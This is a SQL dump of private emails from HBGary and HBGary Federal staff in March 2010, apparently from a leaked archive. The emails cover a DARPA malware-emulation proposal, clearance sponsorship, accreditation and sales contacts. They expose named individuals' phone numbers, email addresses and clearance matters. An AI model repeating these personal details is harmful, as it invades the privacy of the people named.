<aaron@hbgary.com>','/aaron@hbgary.com/new/1297001583.M600686P3547Q3301.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Feb. PR invoice','Thanks Karen,I forwarded to Ted for processing.AaronOn Mar 1, 2010, at 1:18 PM, Karen Burke wrote:Hi Aaron, I billed 3.5 hours for February; please see attached invoice. Please let me know if you have any questions and if you have any updates on the Threat Intelligence Consortium announcement. Best, Karen&nbsp;\r\n\r\n      &lt;HBGary Federal Invoice #2.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10443,'aaron_hbgary_com/10443.html'),(3302,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001583.M841306P3547Q3302.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: What time do you have Greg lined up to talk today?','Greg called me a few hours ago and I spoke to him for about 45min. &nbsp;He is focused right now to developing a technical approach for Tech Area 3. &nbsp;I didn\'t confuse him with Tech area 1 right now.Here is a raw type of what I caught from the conversation.build a virtual machine that can execute any malware program. &nbsp;It will prertent their is a windows env., it will be emulated. &nbsp;The malware will believe. &nbsp;Emulate all the windows api calls. &nbsp;We know how to respond to an api call, the malwar. &nbsp;Progress the state of the malware from frame 0. &nbsp;progress the data state. &nbsp;Emulate the execution, such that when data is modified, it is accurate enough . &nbsp;Data state progression approach. &nbsp;There is no OS. &nbsp;Measure against how the same malware does on a windows box. &nbsp;Progress forward like a filmstrip. &nbsp;When we reach a branch we can go forward and rewind.We can get full data-state recovery. &nbsp;Build a tree, a single node root. &nbsp;A uni-directional tree, until the leaf nodes enough of the data so you can conclude this leaf node represent a behavior, which we will report. &nbsp;If you want to know how you got there you can trace back up to the root. &nbsp;you know every data state that got you there. &nbsp;you could then turn that into human readable. &nbsp;virtual data state progression map. &nbsp;It might be possible to scale this at a perimeter.recon a real windows environment. &nbsp;doesn\'t have the ability to go backwards. &nbsp;We don\'t get to see the actual execution of the commands. &nbsp;AaronOn Mar 1, 2010, at 1:13 PM, Bob Slapnik wrote:Aaron,&nbsp;You and I should talk to Greg and not put him on the phone with GD.&nbsp; We need to structure what we want Greg to think about, put that down on paper, and eventually give the resulting document to GD to critique.&nbsp; We will get Greg’s best work by incrementally building onto HBGary’s past work.&nbsp; There will be no value in having GD pepper Greg with questions.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12269,'aaron_hbgary_com/12269.html'),(3303,'2010-03-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297001584.M486048P3547Q3304.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DHS','OK I don&#39;t know either what he was thinking.\r\n \r\nI am connected to CIVILIAN and I have the West including Colorado if you have contacts there?  \r\nThank you\r\nMaria\r\nOn Mon, Mar 1, 2010 at 3:02 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nhmmmm not sure why Bob thought that.  I don&#39;t have much insight into DHS, I am mostly connected into the Intelligence Community. \r\n\r\nSorry.\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 1:34 PM, Maria Lucas wrote:\r\n\r\nHi Aaron\r\n \r\nBob says that you have great relationships at DHS.  Do you have any relationships that would help me to sell Digital DNA?\r\n \r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',16107,'aaron_hbgary_com/16107.html');
INSERT INTO `emails` VALUES (3304,'2010-03-01','\"Lirette, Dave (TASC Inc)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297001584.M81963P3547Q3303.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>','RE: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBTW, in case Aaron didn&#8217;t tell you, this is what we do for\r\na living so if your customer needs help with an accreditation&#8230;\r\n\r\n&nbsp;\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matt O\'Flynn\r\n[mailto:matt@hbgary.com] \r\nSent: Monday, March 01, 2010 7:02 AM\r\nTo: Lirette, Dave (TASC Inc)\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDave,\r\n\r\n&nbsp;\r\n\r\nVery helpful, thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest, Matt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lirette, Dave (TASC\r\nInc) [mailto:David.P.Lirette@TASC.COM] \r\nSent: Saturday, February 27, 2010 8:31 PM\r\nTo: Matt O\'Flynn\r\nCc: Aaron Barr\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\nHaving DISA as a &#8220;sponsor&#8221; would be a little weird,\r\nbut not unheard of. Usually your product (that needs accreditation) is being\r\npaid for by a &#8220;customer&#8221;. That customer will fall under the\r\numbrella of a particular approving authority. (Air Force, Navy, NRO, NSA\r\netc.)&nbsp; That sponsor will require a specific set of testing and assurances\r\naccording to a guideline (DIACAP, DCID 6/3 or ICD 503)\r\n\r\n&nbsp;\r\n\r\nAny help?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:11 PM\r\nTo: Lirette, Dave (TASC Inc)\r\nCc: Matt O\'Flynn\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me introduce Matt, you can get from the email thread\r\nwhat we are looking for to a degree. &nbsp;If you could provide some guidance\r\nto Matt that would be great.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThink we can get a ski day in march or has snow continued to\r\nsuck?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Matt\r\nO\'Flynn&quot; &lt;matt@hbgary.com&gt;\r\nDate: February 25, 2010 1:12:43 AM EST\r\nTo: &quot;\'Penny Leavy-Hoglund\'&quot; &lt;penny@hbgary.com&gt;, &quot;\'Aaron\r\nBarr\'&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nsponsor will hopefully be DISA, just spoke with our POC there and he needs some\r\nthings from us to run by his legal team. Aaron, I&#8217;ll give you a ring to\r\ndiscuss, much quicker than trying to type it out.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest,\r\nMatt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:57 PM\r\nTo: \'Aaron Barr\'\r\nCc: matt@hbgary.com\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes,\r\nmatt who is sponsor?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 9:55 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo\r\nwe have a government sponsor?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally\r\nyou have a gov sponsor, develop the package, have DA sign off and share that\r\nwith other customers.&nbsp; &nbsp;There are other paths but I think that would\r\nbe the most efficient.&nbsp;&nbsp; Lirette has folks that can develop the\r\npackage. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYuk.\r\n&nbsp;I need to get ddna diacap approved. &nbsp;How do I do that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia O. Beane\r\n\r\nManager, Strategic\r\nPrograms \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10026,'aaron_hbgary_com/10026.html'),(3305,'2010-03-01','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001587.M771517P3547Q3305.eml','dawnsong@cs.berkeley.edu,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,BrianneO@SecureDecisions.avi.com,LaurinB@SecureDecisions.avi.com,KennyP@SecureDecisions.avi.com,\"Dang, Benjamin H.\" <Benjamin.Dang@gd-ais.com>','FW: MineSweeper paper (Automatically Identifying Trigger-based Behavior in Malware) (UC Berkeley)','\r\n\r\n\r\n\r\n\r\nRE: [from HBGary] Teaming DARPA\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: MineSweeper paper\r\n(Automatically Identifying Trigger-based Behavior in Malware) (UC Berkeley)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAutomatically Identifying Trigger-based Behavior in Malware\r\npaper.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5429,'aaron_hbgary_com/5429.html'),(3306,'2010-03-01','\"Dawn Song\" <dawnsong@cs.berkeley.edu>','/aaron@hbgary.com/new/1297001589.M889133P3547Q3306.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,,,,,,,,,,,,,,','BitBlaze slides','Hi,\r\n  here\'re some (not most up-to-date) slides on BitBlaze and its\r\napplication to malware analysis.\r\n\r\nthanks,\r\nDawn\r\n',11461,'aaron_hbgary_com/11461.html'),(3307,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001596.M102489P3547Q3307.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: MineSweeper paper (Automatically Identifying Trigger-based 	Behavior in Malware) (UC Berkeley)','Interested to get your thoughts on this.From my iPhoneBegin forwarded message:From: &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt;\r\nTo: &quot;dawnsong@cs.berkeley.edu&quot; &lt;dawnsong@cs.berkeley.edu&gt;, &quot;Upchurch, Jason R.&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;Rodriguez, Harold&quot; &lt;Harold.Rodriguez@gd-ais.com&gt;, &quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;, &quot;Wilson, Ben N.&quot; &lt;Ben.Wilson@gd-ais.com&gt;, &quot;Kipper, Gregory A.&quot; &lt;Gregory.Kipper@gd-ais.com&gt;, &quot;Vela, Ryan&quot; &lt;Ryan.Vela@gd-ais.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, &quot;Ted Vera (HBGary)&quot; &lt;ted@hbgary.com&gt;, &quot;Bob Slapnik (HBGary)&quot; &lt;bob@hbgary.com&gt;, Phil Porras &lt;porras@csl.sri.com&gt;, Anita D&#39;Amico &lt;anitad@securedecisions.avi.com&gt;, &quot;BrianneO@SecureDecisions.avi.com&quot; &lt;BrianneO@SecureDecisions.avi.com&gt;, &quot;LaurinB@SecureDecisions.avi.com&quot; &lt;LaurinB@SecureDecisions.avi.com&gt;, &quot;KennyP@SecureDecisions.avi.com&quot; &lt;KennyP@SecureDecisions.avi.com&gt;, &quot;Dang, Benjamin H.&quot; &lt;Benjamin.Dang@gd-ais.com&gt;\r\nSubject: FW: MineSweeper paper (Automatically Identifying Trigger-based Behavior in Malware) (UC Berkeley)Subject: MineSweeper paper (Automatically Identifying Trigger-based\r\nBehavior in Malware) (UC Berkeley)Automatically Identifying Trigger-based Behavior in Malware paper.\r\n\r\n',10635,'aaron_hbgary_com/10635.html'),(3308,'2010-03-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001596.M359111P3547Q3308.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Draft of emulation proposal, please review ASAP',' \r\nAaron, Ted,\r\n \r\nSee attached.  Rough outline of the system proposed.\r\n \r\n-Greg\r\n \r\nps I can send the original graphics if you want to mod them.\r\n',4402,'aaron_hbgary_com/4402.html'),(3309,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001596.M635605P3547Q3309.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,greg@hbgary.com,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','DARPA project - AFR and Active Reversing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust got off a conference call with GD and Dawn Song, UC\r\nBerkley professor.&nbsp; She has done research on binary analysis and they have\r\nadded her to their team for topic #1.&nbsp; Based on what I heard it seems that\r\nher work has many similarities with Greg&#8217;s Automated Flow Resolution\r\n(AFR) and Active Reversing.&nbsp; GD is priming #1 so they put whomever they want\r\non their team.&nbsp; As for topic #3, we need to examine whether or not we need\r\nDawn.\r\n\r\n&nbsp;\r\n\r\nShe brings academia which DARPA likes, an extensive resume\r\nof related research and papers, and she appears to be deeply engaged in the\r\nwork at present.&nbsp; And she seems ready and able to write tech content for\r\nproposals.&nbsp; But it bugs me to bring somebody on the team duplicating work\r\nHBGary did 2005-2007.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16516,'aaron_hbgary_com/16516.html'),(3310,'2010-03-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001596.M833564P3547Q3310.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: DARPA project - AFR and Active Reversing',' \r\nBob,\r\n \r\nPlease see the attached DRAFT I prepared for Aaron RE: our approach to subcat #3.  It&#39;s basically a revised version of AFR.  I was on the same page regarding AFR and think it will be a great way to solve the problem.\r\n\r\n \r\nI don&#39;t know if it applies here, but it should be noted that we delivered a working prototype for AFR at the end of Phase 1 in 2005 which, regardless of the poor progress made in Phase 2, was a workable prototype.\r\n\r\n \r\n-Greg\r\nOn Mon, Mar 1, 2010 at 4:36 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nJust got off a conference call with GD and Dawn Song, UC Berkley professor.  She has done research on binary analysis and they have added her to their team for topic #1.  Based on what I heard it seems that her work has many similarities with Greg’s Automated Flow Resolution (AFR) and Active Reversing.  GD is priming #1 so they put whomever they want on their team.  As for topic #3, we need to examine whether or not we need Dawn.\r\n\r\n \r\nShe brings academia which DARPA likes, an extensive resume of related research and papers, and she appears to be deeply engaged in the work at present.  And she seems ready and able to write tech content for proposals.  But it bugs me to bring somebody on the team duplicating work HBGary did 2005-2007.  \r\n\r\n \r\nBob \r\n \r\n',8283,'aaron_hbgary_com/8283.html'),(3311,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001602.M939949P3547Q3311.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Another old prposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nDon&#8217;t know if this is useful, but here it is.&nbsp; This is\r\na proposal we wrote that did not get funded.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1049,'aaron_hbgary_com/1049.html'),(3312,'2010-03-02','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297001603.M276370P3547Q3312.eml','\"Aaron Barr\" <aaron@hbgary.com>','Clearances','\r\n\r\n\r\n\r\n\r\nClearances\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI have secured a program that is willing to sponsor you and Ted.&nbsp; I\'ll have more tomorrow when I get a chance to call and get the paperwork info.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n',6744,'aaron_hbgary_com/6744.html'),(3313,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001603.M450397P3547Q3313.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Clearances','Fukin aFrom my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: March 1, 2010 9:44:47 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Clearances\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI have secured a program that is willing to sponsor you and Ted.  I&#39;ll have more tomorrow when I get a chance to call and get the paperwork info.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n',6074,'aaron_hbgary_com/6074.html'),(3314,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001603.M641550P3547Q3314.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','RE: DARPA project - AFR and Active Reversing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nQuestions&#8230;&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nThis system has advantages over past HBGary work:\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEmulation for high speed and throughput &#8211; the old NC5 work\r\nusing QEMU was slow.&nbsp; Plus this new system can be architected to take\r\nadvantage of big parallel processing iron to handled terabytes of malware.\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAFR was on top of Windows and user mode only.&nbsp; This new\r\nsystem will be kernel and user mode. \r\n\r\n&nbsp;\r\n\r\nHow hard will it be to develop a full emulation\r\nenvironment?&nbsp; What are the risks?&nbsp; (With DARPA you want to show lots\r\nof risks to prove that it a &#8220;hard problem&#8221;.)\r\n\r\n&nbsp;\r\n\r\nHaven&#8217;t Norman and Sunbelt already developed full\r\nemulation environments?&nbsp; If yes, what makes this proposal innovative?&nbsp;\r\nWhat makes it a huge extension over the current state of the art?\r\n\r\n&nbsp;\r\n\r\nShouldn&#8217;t the proposal have more details on the &#8220;API\r\nSurface Emulator&#8221;?&nbsp; How hard is this?&nbsp; What are the\r\nchallenges?&nbsp; What are the risks?\r\n\r\n&nbsp;\r\n\r\nInput Expression Solver looks and smells like AFR.&nbsp; The doc\r\nsays, &#8220;the I/O response data will be precisely mutated to affect the\r\ncontrol flow, increasing code coverage.&#8221;&nbsp; In past proposals we had\r\npages of content describing how the algorithm needed to work.&nbsp; In this doc\r\nwe haven&#8217;t focused on the algorithm.&nbsp; I think we should.\r\n\r\n&nbsp;\r\n\r\nIt appears we&#8217;ve come to the conclusion that AFR is not\r\nimportant to HBGary&#8217;s product strategy and roadmap.&nbsp; In Dawn Song we\r\nhave a university researcher who has independently done similar work.&nbsp; How\r\nabout if we share our past AFR docs with her?&nbsp; She scrubs it, takes the\r\nbest, makes improvements, adds in her ideas and helps us come up with a killer updated\r\nproposal.&nbsp; Do we care if she publishes university research with AFR ideas\r\nin it?&nbsp; We can share AFR docs with GD and Pikewerks, too.&nbsp; Let them\r\nbeat on it and make it better.&nbsp; The end result is that these parties doing\r\ngroup think on AFR will modify it,&nbsp; and make it fresh and new, and\r\ndifferent from what we proposed in past years.\r\n\r\n&nbsp;\r\n\r\nThe goal is to win TA #3 for HBG Fed and to provide some extra\r\nuseful funding for HBGary.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHave we figured out what we want Pikewerks to do?&nbsp; They\r\nbring Linux expertise, but I&#8217;m sure they can add more &#8220;out of the\r\nbox&#8221; once we give them topics to think about.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, March 01, 2010 7:51 PM\r\nTo: Bob Slapnik\r\nCc: Aaron Barr; Ted Vera; Penny Leavy-Hoglund\r\nSubject: Re: DARPA project - AFR and Active Reversing\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease see the attached DRAFT I prepared for Aaron RE: our\r\napproach to subcat #3.&nbsp; It\'s basically a revised version of AFR.&nbsp; I\r\nwas on the same page regarding AFR and think it will be a great way to solve\r\nthe problem.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI don\'t know if it applies here, but it should be noted that\r\nwe delivered a working prototype for AFR at the end of Phase 1 in 2005 which,\r\nregardless of the poor progress made in Phase 2, was a workable prototype.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Mar 1, 2010 at 4:36 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nJust\r\ngot off a conference call with GD and Dawn Song, UC Berkley professor.&nbsp;\r\nShe has done research on binary analysis and they have added her to their team\r\nfor topic #1.&nbsp; Based on what I heard it seems that her work has many\r\nsimilarities with Greg&#8217;s Automated Flow Resolution (AFR) and Active\r\nReversing.&nbsp; GD is priming #1 so they put whomever they want on their\r\nteam.&nbsp; As for topic #3, we need to examine whether or not we need Dawn.\r\n\r\n&nbsp;\r\n\r\nShe\r\nbrings academia which DARPA likes, an extensive resume of related research and\r\npapers, and she appears to be deeply engaged in the work at present.&nbsp; And\r\nshe seems ready and able to write tech content for proposals.&nbsp; But it bugs\r\nme to bring somebody on the team duplicating work HBGary did 2005-2007.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/01/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3623,'aaron_hbgary_com/3623.html'),(3315,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001603.M818001P3547Q3315.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Clearances','Thank you.From my iPhoneOn Mar 1, 2010, at 9:44 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI have secured a program that is willing to sponsor you and Ted.  I&#39;ll have more tomorrow when I get a chance to call and get the paperwork info.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n',16552,'aaron_hbgary_com/16552.html'),(3316,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001604.M2779P3547Q3316.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Clearances','From my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: March 1, 2010 9:44:47 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Clearances\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI have secured a program that is willing to sponsor you and Ted.  I&#39;ll have more tomorrow when I get a chance to call and get the paperwork info.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n',13531,'aaron_hbgary_com/13531.html'),(3317,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001607.M346872P3547Q3317.eml','\"Zosh\" <mydocs@zosh.com>','NDA','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14401,'aaron_hbgary_com/14401.html'),(3318,'2010-03-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001608.M657104P3547Q3318.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Reference ProPricer','---------- Forwarded message ----------\r\nFrom: Brian C Burmeister \r\nDate: Mon, Feb 22, 2010 at 2:59 PM\r\nSubject: Reference ProPricer\r\nTo: ted@hbgary.com\r\n\r\n\r\nGood Afternoon Ted,\r\n\r\nThank you for your time today. I believe you will find ProPricer to be\r\nan excellent solution for your pricing needs, it has constantly been\r\nimproved during the past 22 years by our customers at our 